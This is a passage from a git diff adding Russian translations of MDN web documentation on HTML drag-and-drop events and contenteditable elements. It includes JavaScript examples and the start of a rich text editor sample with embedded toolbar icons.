+<p><strong>Note:</strong> You must cancel the <code>{{event("dragenter")}}</code> event for this pseudoclass to apply, as this state is not checked for the <code>{{event("dragover")}}</code> event.</p>
+</div>
+
+<p>For more complex visual effects, you can also perform other operations during the <code>{{event("dragenter")}}</code> event. For example, by inserting an element at the location where the drop will occur. This might be an insertion marker, or an element that represents the dragged element in its new location. To do this, you could create an <a href="/en-US/docs/XUL/image" title="image">image</a> or <a href="/en-US/docs/XUL/separator" title="separator">separator</a> element and simply insert it into the document during the <code>{{event("dragenter")}}</code> event.</p>
+
+<p>The <code>{{event("dragover")}}</code> event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a <code>{{event("dragover")}}</code> event as well. You can use the event's {{domxref("MouseEvent.clientX","clientX")}} and {{domxref("MouseEvent.clientY","clientY")}} properties as with other mouse events to determine the location of the mouse pointer.</p>
+
+<p>Finally, the <code>{{event("dragleave")}}</code> event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the <code>:-moz-drag-over</code> pseudoclass will be removed automatically. The <code>{{event("dragleave")}}</code> event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.</p>
+
+<h2 id="drop" name="drop">Performing a Drop</h2>
+
+<p>When the user releases the mouse, the drag and drop operation ends.</p>
+
+<p>If the mouse is released over an element that is a valid drop target, that is, one that cancelled the last <code>{{event("dragenter")}}</code> or <code>{{event("dragover")}}</code> event, then the drop will be successful, and a <code>{{event("drop")}}</code> event will fire at the target. Otherwise, the drag operation is cancelled, and no <code>{{event("drop")}}</code> event is fired.</p>
+
+<p>During the <code>{{event("drop")}}</code> event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine which drag operation was desired.</p>
+
+<p>As with all drag-related events, the event's <code>{{domxref("DataTransfer","dataTransfer")}}</code> property will hold the data that is being dragged. The {{domxref("DataTransfer.getData","getData()")}} method may be used to retrieve the data again.</p>
+
+<pre class="brush: js">function onDrop(event) {
+  const data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+}
+</pre>
+
+<p>The {{domxref("DataTransfer.getData","getData()")}} method takes one argument, the type of data to retrieve. It will return the string value that was set when {{domxref("DataTransfer.setData","setData()")}} was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. (Naturally, though, you would likely know that the right type of data was available, as it was previously checked during a <code>{{event("dragover")}}</code> event.)</p>
+
+<p>In the example here, once the data has been retrieved, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a <code>p</code> or <code>div</code> element.</p>
+
+<p>In a web page, you should call the {{domxref("Event.preventDefault","preventDefault()")}} method of the event if you have accepted the drop, so that the browser's default handling is not triggered by the dropped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behavior will be prevented.</p>
+
+<p>You can retrieve other types of data as well. If the data is a link, it should have the type <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code>. You could then insert a link into the content.</p>
+
+<pre class="brush: js">function doDrop(event) {
+  const lines = event.dataTransfer.getData("text/uri-list").split("\n");
+  lines.filter(line =&gt; !line.startsWith("#"))
+    .forEach(line =&gt; {
+      const link = document.createElement("a");
+      link.href = line;
+      link.textContent = line;
+      event.target.appendChild(link);
+    })
+  event.preventDefault();
+}
+</pre>
+
+<p>This example inserts a link from the dragged data. As the name implies, the <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> type actually may contain a list of URLs, each on a separate line. The above code uses <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" title="split">split</a></code> to break the string into lines, then iterates over the list of lines, and inserts each as a link into the document. (Note also that links starting with a number sign (<code>#</code>) are skipped, as these are comments.)</p>
+
+<p>For simple cases, you can use the special type <code>URL</code> just to retrieve the first valid URL in the list. For example:</p>
+
+<pre class="brush: js">const link = event.dataTransfer.getData("URL");
+</pre>
+
+<p>This eliminates the need to check for comments or iterate through lines yourself. However, it is limited to only the first URL in the list.</p>
+
+<p>The <code>URL</code> type is a special type. It is used only as a shorthand, and it does not appear within the list of types specified in the {{domxref("DataTransfer.types","types")}} property.</p>
+
+<p>Sometimes you may support some different formats, and you want to retrieve the data that is most specific that is supported. In the following example, three formats are supported by a drop target.</p>
+
+<p>The following example returns the data associated with the best-supported format:</p>
+
+<pre class="brush: js">function doDrop(event) {
+  const supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  const types = event.dataTransfer.types.filter(type =&gt; supportedTypes.includes(type));
+  if (types.length) {
+    const data = event.dataTransfer.getData(types[0]);
+  }
+  event.preventDefault();
+}
+</pre>
+
+<h2 id="dragend" name="dragend">Окончание перетаскивания</h2>
+
+<p>Как только перетаскивание завершено, событие <code>{{event("dragend")}}</code> запускается в источнике перетаскивания (тот же элемент, который получил событие <code>{{event("dragstart")}}</code>). Это событие сработает, если перетаскивание было успешным<sup>[1]</sup> или если оно было отменено. Однако вы можете использовать свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} для определения, какая операция удаления произошла.</p>
+
+<p>Если свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} имеет значение <code>none</code> во время события <code>{{event("dragend")}}</code>, то перетаскивание было отменено. В противном случае эффект указывает, какая операция была выполнена. Источник может использовать эту информацию после операции перемещения для удаления перетаскиваемого элемента из старого расположения. Свойство {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} будет присвоено значение <code>true</code>, если пользователь отменил перетаскивание (нажав <kbd>Escape</kbd>), и <code>false</code> если перетаскивание было отменено по другим причинам, таким как недопустимая цель перетаскивания, или если оно было успешным.</p>
+
+<p>Сброс может произойти внутри того же окна или над другим приложением. Событие<code>{{event("dragend")}}</code>будет срабатывать всегда, независимо от этого. Свойство события {{domxref("MouseEvent.screenX","screenX")}} и {{domxref("MouseEvent.screenY","screenY")}} будут установлены в координаты экрана, где произошел сброс.</p>
+
+<p>Когда событие <code>{{event("dragend")}}</code> завершило распространение, операция перетаскивания завершена.</p>
+
+<p>[1]: В Gecko, {{event("dragend")}} не отправляется, если исходный узел движется или удаляется во время перетаскивания (например, при сбрасывании или {{event("dragover")}}). <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=460801" title="New D&amp;D API: dragend is not dispatched if the source node was moved or removed during the drag session">Bug 460801</a></p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a class="internal" href="/Web/API/HTML_Drag_and_Drop_API" title="HTML Drag and Drop API">HTML Drag and Drop API (Overview)</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+</ul>
diff --git a/files/ru/web/guide/html/drag_and_drop/index.html b/files/ru/web/guide/html/drag_and_drop/index.html
new file mode 100644
index 0000000000..86467501fd
--- /dev/null
+++ b/files/ru/web/guide/html/drag_and_drop/index.html
@@ -0,0 +1,72 @@
+---
+title: Drag and drop
+slug: Web/Guide/HTML/Drag_and_drop
+translation_of: Web/API/HTML_Drag_and_Drop_API
+---
+<p>Firefox и прочие приложения компании Mozilla имеют ряд возможностей для управления drag и drop. Это позволяет пользователю нажать и удерживая зажатой кнопку мыши над элементом, переместить его на другую позицию, отпустив кнопку мыши пользователь может оставить элемент на новой позиции. На протяжении всей операции перемещения полупрозрачное представление элемента следует за курсором мыши. Новая позиция элемента может располагаться в совершенно другом приложении. Веб сайты, и XUL приложения могут использовать эту функциональность для того, чтобы определить какие элементы страницы могут быть перемещены, а также определить элементы куда первые могут быть перемещены.</p>
+
+<div class="note">Эта часть покрывает функциональность drag и drop в Firefox 3.5 (Gecko 1.9.1) а также последующие версии. Для старого API для Firefox 3.0 и ранее, в котором нет соответствующей поддержки данной функциональности, смотрите <a href="/en-US/docs/Drag_and_Drop" title="Older Drag and Drop API">older API documentation</a>.</div>
+
+<h2 id="Основы_Drag_и_Drop">Основы Drag и Drop</h2>
+
+<p>Использование функциональности drag и drop подразумевает выполнения следующих шагов:</p>
+
+<ul>
+ <li>Определить переносимый элемент. Присвоить true атрибуту draggable элемента, который мы хотим перенести. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#draggableattribute">The Draggable Attribute</a>.</li>
+ <li>Определить данные, которые могут быть перемещены, они могут быть разного формата. К примеру, текстовые данные, содержащие строку текста который может быть перемещен. Для детальной информации смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</li>
+ <li>(Необязательно) Определить изображение которое будет рядом с указателем мыши на протяжении всей операции перетаскивания.  Если пользовательское изображение не будет определено, будет сгенерирована картинка по умолчанию, в зависимости от элемента, на котором была зажата кнопка мыши (что будет означать, что элемент переносят). Ознакомиться детально с установкой изображения перетаскивания можно по ссылке <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Setting the Drag Feedback Image</a>.</li>
+ <li>Определить возможные эффекты переноса. Возможны три таких эффекта: <code>copy</code> показывает, что перемещаемые данные копируются из прежнего места расположения в новое, <code>move</code> показывает, что перемещаемые данные полностью переносятся на новое место, и <code>link</code> показывает, что создается некая форма взаимодействия или связи между исходной точкой и точкой назначения. На протяжении операции перемещения, картинка которая следует за курсором мыши может меняться в зависимости от того, может ли элемент быть перемещен в область под курсором. Если перенос разрешен, перемещение может быть произведено. Смотрите <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> для детальной информации.</li>
+ <li>Определить область назначения. По умолчанию браузер не позволяет перемещать что-либо на HTML элемент. Однако, чтобы сделать элемент активным для перемещения других элементов на него, просто отмените действие по умолчанию. То есть, подпишитесь на события "ondragenter" или "ondragover". Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#droptargets">Specifying Drop Targets</a>.</li>
+ <li>Обработать завершение переноса. Вы можете получить данные из переносимого элемента и произвести над ними необходимые операции. Для детальной информации, пожалуйста, смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#drop">Performing a Drop</a>.</li>
+</ul>
+
+<p>Mozilla и Firefox поддерживают ряд возможностей, которые выходят за рамку стандартной модели спецификации. Они позволяют пользователю перемещать несколько элементов и перемещать нестроковые данные. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a>.</p>
+
+<p>Для того, чтобы ознакомиться с общим списком данных поддерживаемых операцией drag and drop смотрите <a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a>.</p>
+
+<p>Также доступны примеры с лучшей практикой использования операции drag and drop для перемещения данных разных типов:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Recommended_Drag_Types#text" title="Text">Text</a></li>
+ <li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="Links">Links</a></li>
+ <li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#html" title="HTML and XML">HTML and XML</a></li>
+ <li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#file" title="Files">Files</a></li>
+ <li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#image" title="Images">Images</a></li>
+ <li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#node" title="Document Nodes">Document Nodes</a></li>
+</ul>
+
+<p>Смотри <a href="/en-US/docs/DragDrop/DataTransfer" title="DataTransfer">DataTransfer</a> для ссылки на объект DataTransfer.</p>
+
+<h2 id="events" name="events">События Drag</h2>
+
+<p>Ряд событий срабатывают на протяжении всей процедуры drag and drop. Запомните, что только drag-события срабатывают на протяжении операции перемещения; события мыши, такие как <code>mousemove</code> - нет. Также запомните, что события <code>dragstart и</code> <code>dragend</code> не срабатывают при попытке перенести файл из операционной системы в браузер.</p>
+
+<p>Свойство <a href="/en-US/docs/DragDrop/DataTransfer" title="dataTransfer">dataTransfer</a> всех событий перемещения содержит данные про все drag и drop операции.</p>
+
+<dl>
+ <dt><code>dragstart</code></dt>
+ <dd>Срабатывает когда элeмент начал перемещаться. В момент срабатывания события <code>dragstart</code> пользователь начинает перетаскивание элемента. Обработчик данного события может быть использован для сохранения информации о перемещаемом объекте, а также для изменения изображения, которое будет ассоциировано с перемещением. Дaнное событие не срабатывает, когда некоторый файл будет переноситься из операционной системы в браузер. Для детальной информации <a href="/en-US/docs/DragDrop/Drag_Operations#dragstart" title="Starting a Drag Operation">Starting a Drag Operation</a>.</dd>
+ <dt><code>dragenter</code></dt>
+ <dd>Срабатывает, когда перемещаемый элемент попадает на элемент-назначение. Обработчик этого события показывает, что элемент находится над объектом на который он может быть перенесен. Если же обработчика нет, либо он не совершает никаких действий перемещение по умолчанию запрещено. Это событие также используется для того, чтобы подсветить либо промаркировать объект над которым происходит перемещения в случае, если перемещение на данный элемент разрешено. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd>
+ <dt><code>dragover</code></dt>
+ <dd>Данное событие срабатывает каждые несколько сотен милисекунд, когда перемещаемый элемент оказывается над зоной, принимающей перетаскиваемые элементы. Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd>
+ <dt><code>dragleave</code></dt>
+ <dd>Это событие запускается в момент перетаскивания, когда курсор мыши выходит за пределы элемента. Обработчикам следует убрать любую подсветку или иные индикаторы, указывавшие на присутствие курсора, чтобы тем самым обозначить реакцию на прекращение перетаскивания.</dd>
+ <dt><code>drag</code></dt>
+ <dd>Запускается при перемещении элемента или выделенного текста.</dd>
+ <dt><code>drop</code></dt>
+ <dd>Событие <code>drop</code> вызывается для элемента, над которым произошло "сбрасывание" перемещаемого элемента. Событие отвечает за извлечение "сброшенных" данных и их вставку. Событие будет срабатывать только при завершении операции перетаскивания, например, событие не сработает, если пользователь отменит перетаскивание нажатием Esc, или не донесет элемент, до цели. Для детальной информации смотрите <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">Performing a Drop</a>.</dd>
+ <dt><code>dragend</code></dt>
+ <dd>Источник перетаскивания получит событие dragend, когда перетаскивание завершится, было оно удачным или нет. Это событие не вызывается при перетаскивании файла в браузер из ОС.   Для детальной информации смотрите <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Finishing a Drag</a>.</dd>
+</dl>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a class="internal" href="/En/DragDrop/Drag_Operations" title="Drag and Drop">Drag Operations</a></li>
+ <li><a href="/en-US/docs/DragDrop/Dragging_and_Dropping_Multiple_Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a href="/en-US/docs/DragDrop/Recommended_Drag_Types">Recommended Drag Types</a></li>
+ <li><a class="internal" href="http://www.whatwg.org/specs/web-apps/current-work/#dnd" title="Drag and Drop">HTML5 Living Standard: Drag and Drop</a></li>
+ <li><a class="internal" href="/en-US/demos/tag/tech:dragndrop" title="Drag and Drop">DemoStudio: Drag and Drop</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDragService">nsIDragService</a></li>
+</ul>
diff --git a/files/ru/web/guide/html/editable_content/index.html b/files/ru/web/guide/html/editable_content/index.html
new file mode 100644
index 0000000000..c260371219
--- /dev/null
+++ b/files/ru/web/guide/html/editable_content/index.html
@@ -0,0 +1,242 @@
+---
+title: Создание контента для редактирования
+slug: Web/Guide/HTML/Editable_content
+tags:
+  - HTML5
+  - contenteditable
+translation_of: Web/Guide/HTML/Editable_content
+---
+<p><font>В HTML любой элемент может быть доступен для редактирования. </font><font>Используя некоторые обработчики событий JavaScript, вы можете превратить свою веб-страницу в полноценный и быстрый текстовый редактор. </font><font>В этой статье содержится некоторая информация об этой функции.</font></p>
+
+<h2 id="Как_это_работает">Как это работает?</h2>
+
+<p>Все, что вам нужно сделать, это установить атрибут {{htmlattrxref("contenteditable")}} почти на любой элемент HTML, чтобы сделать его доступным для редактирования.</p>
+
+<p>Вот простой пример, который создает элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.</p>
+
+<pre class="brush: html">&lt;div contenteditable="true"&gt;
+  Этот текст может быть отредактирован пользователем.
+&lt;/div&gt;</pre>
+
+<p>Вот приведенный выше HTML-код в песочнице:</p>
+
+<p>{{ EmbedLiveSample('Как_это_работает') }} </p>
+
+<h2 id="Выполнение_команд">Выполнение команд</h2>
+
+<p>Когда HTML-элемент имеет <code>contenteditable</code> установленный в <code>true</code>, метод {{ domxref("document.execCommand()") }} становится доступным. Это позволяет запускать команды для управления содержимым редактируемого региона. Большинство команд влияют на выбор документа, например, применяя стиль к тексту (полужирный, курсив и т. д.), в то время как другие вставляют новые элементы (например, добавление ссылки) или влияют на всю строку (отступы). При использовании  <code>contentEditable</code>,  вызов  <code>execCommand()</code>  будет влиять на текущий активный редактируемый элемент.</p>
+
+<h2 id="Различия_в_генерации_разметки">Различия в генерации разметки</h2>
+
+<p>Использование  <code>contenteditable</code>  в разных браузерах было болезненным в течение длительного времени из-за различий в сгенерированной разметке между браузерами. Например, даже что-то простое, что происходит, когда вы нажимаете Enter/Return для создания новой строки текста внутри редактируемого элемента, обрабатывалось по-разному в основных браузерах (Firefox вставлял элементы {{htmlelement("br")}}, IE/Opera использовала {{htmlelement("p")}}, в Chrome/Safari использовался {{htmlelement("div")}}). </p>
+
+<p>К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/60">Firefox 60</a>,  Firefox будет обновлен, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.</p>
+
+<p>Попробуйте это в приведенном выше примере.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Internet Explorer, который больше не разрабатывается, использует элементы {{htmlelement("p")}} вместо <code>&lt;div&gt;</code>.</p>
+</div>
+
+<p>Если вы хотите использовать другой разделитель абзацев, все вышеперечисленные браузеры поддерживают {{domxref("document.execCommand")}}, предоставляющий для этих изменений команду  <code>defaultParagraphSeparator</code>. Например, чтобы использовать элементы {{htmlelement("p")}}:</p>
+
+<pre><code class="language-js">document<span class="punctuation token">.</span><span class="function token">execCommand</span><span class="punctuation token">(</span><span class="string token">"defaultParagraphSeparator"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Добавочно, Firefox поддерживает нестандартный аргумент, <code>br</code>, для <code>defaultParagraphSeparator</code>  с Firefox 55. Это действительно полезно, если ваше веб-приложение обеспечивало поддержку старого Firefox, а у вас, к сожалению, нет времени исправить его для более нового Firefox, то вы можете вернуть прежнее поведение Firefox вставкой этой строки во время инициализации <code>designMode</code> или  <code>contenteditable</code> редактора:</p>
+
+<pre><code class="language-js">document<span class="punctuation token">.</span><span class="function token">execCommand</span><span class="punctuation token">(</span><span class="string token">"defaultParagraphSeparator"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"br"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<p>По соображениям безопасности Firefox не позволяет JavaScript-коду использовать связанные с буфером функции (копировать, вставлять и т. д.) по умолчанию. Используя  <code>about:config</code> вы можете включить их, установив настройки, показанные ниже:</p>
+
+<pre class="code">user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre>
+
+<h2 id="Пример">Пример:</h2>
+
+<p>Простой, но полный текстовый редактор:</p>
+
+<div style="height: 500px; width: auto; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Rich Text Editor&lt;/title&gt;
+&lt;script type="text/javascript"&gt;&lt;/script&gt;
+&lt;style type="text/css"&gt;&lt;/style&gt;
+&lt;/head&gt;
+&lt;body onload="initDoc();"&gt;
+&lt;form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;"&gt;
+&lt;input type="hidden" name="myDoc"&gt;
+&lt;div id="toolBar1"&gt;
+&lt;select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option selected&gt;- формат -&lt;/option&gt;
+&lt;option value="h1"&gt;Title 1 &amp;lt;h1&amp;gt;&lt;/option&gt;
+&lt;option value="h2"&gt;Title 2 &amp;lt;h2&amp;gt;&lt;/option&gt;
+&lt;option value="h3"&gt;Title 3 &amp;lt;h3&amp;gt;&lt;/option&gt;
+&lt;option value="h4"&gt;Title 4 &amp;lt;h4&amp;gt;&lt;/option&gt;
+&lt;option value="h5"&gt;Title 5 &amp;lt;h5&amp;gt;&lt;/option&gt;
+&lt;option value="h6"&gt;Подзаголовок &amp;lt;h6&amp;gt;&lt;/option&gt;
+&lt;option value="p"&gt;Параграф &amp;lt;p&amp;gt;&lt;/option&gt;
+&lt;option value="pre"&gt;Preformatted &amp;lt;pre&amp;gt;&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- шрифт -&lt;/option&gt;
+&lt;option&gt;Arial&lt;/option&gt;
+&lt;option&gt;Arial Black&lt;/option&gt;
+&lt;option&gt;Courier New&lt;/option&gt;
+&lt;option&gt;Times New Roman&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- размер -&lt;/option&gt;
+&lt;option value="1"&gt;Малюсенький&lt;/option&gt;
+&lt;option value="2"&gt;Маленький&lt;/option&gt;
+&lt;option value="3"&gt;Нормальный&lt;/option&gt;
+&lt;option value="4"&gt;Большеват&lt;/option&gt;
+&lt;option value="5"&gt;Большой&lt;/option&gt;
+&lt;option value="6"&gt;Большущий&lt;/option&gt;
+&lt;option value="7"&gt;Огромный&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- цвет -&lt;/option&gt;
+&lt;option value="red"&gt;Красный&lt;/option&gt;
+&lt;option value="blue"&gt;Синий&lt;/option&gt;
+&lt;option value="green"&gt;Зеленый&lt;/option&gt;
+&lt;option value="black"&gt;Чёрный&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- фон -&lt;/option&gt;
+&lt;option value="#faa"&gt;Красень&lt;/option&gt;
+&lt;option value="#afa"&gt;Зелень&lt;/option&gt;
+&lt;option value="#aaf"&gt;Синь&lt;/option&gt;
+&lt;/select&gt;
+&lt;/div&gt;
+&lt;div id="toolBar2"&gt;
+&lt;img class="intLink" title="Чистка" onclick="if(validateMode()&amp;&amp;confirm('Вы уверены?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" /&gt;
+&lt;img class="intLink" title="Печать" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC"&gt;
+&lt;img class="intLink" title="Назад" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" /&gt;
+&lt;img class="intLink" title="Вперёд" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" /&gt;
+&lt;img class="intLink" title="Удалить форматирование" onclick="formatDoc('removeFormat')" 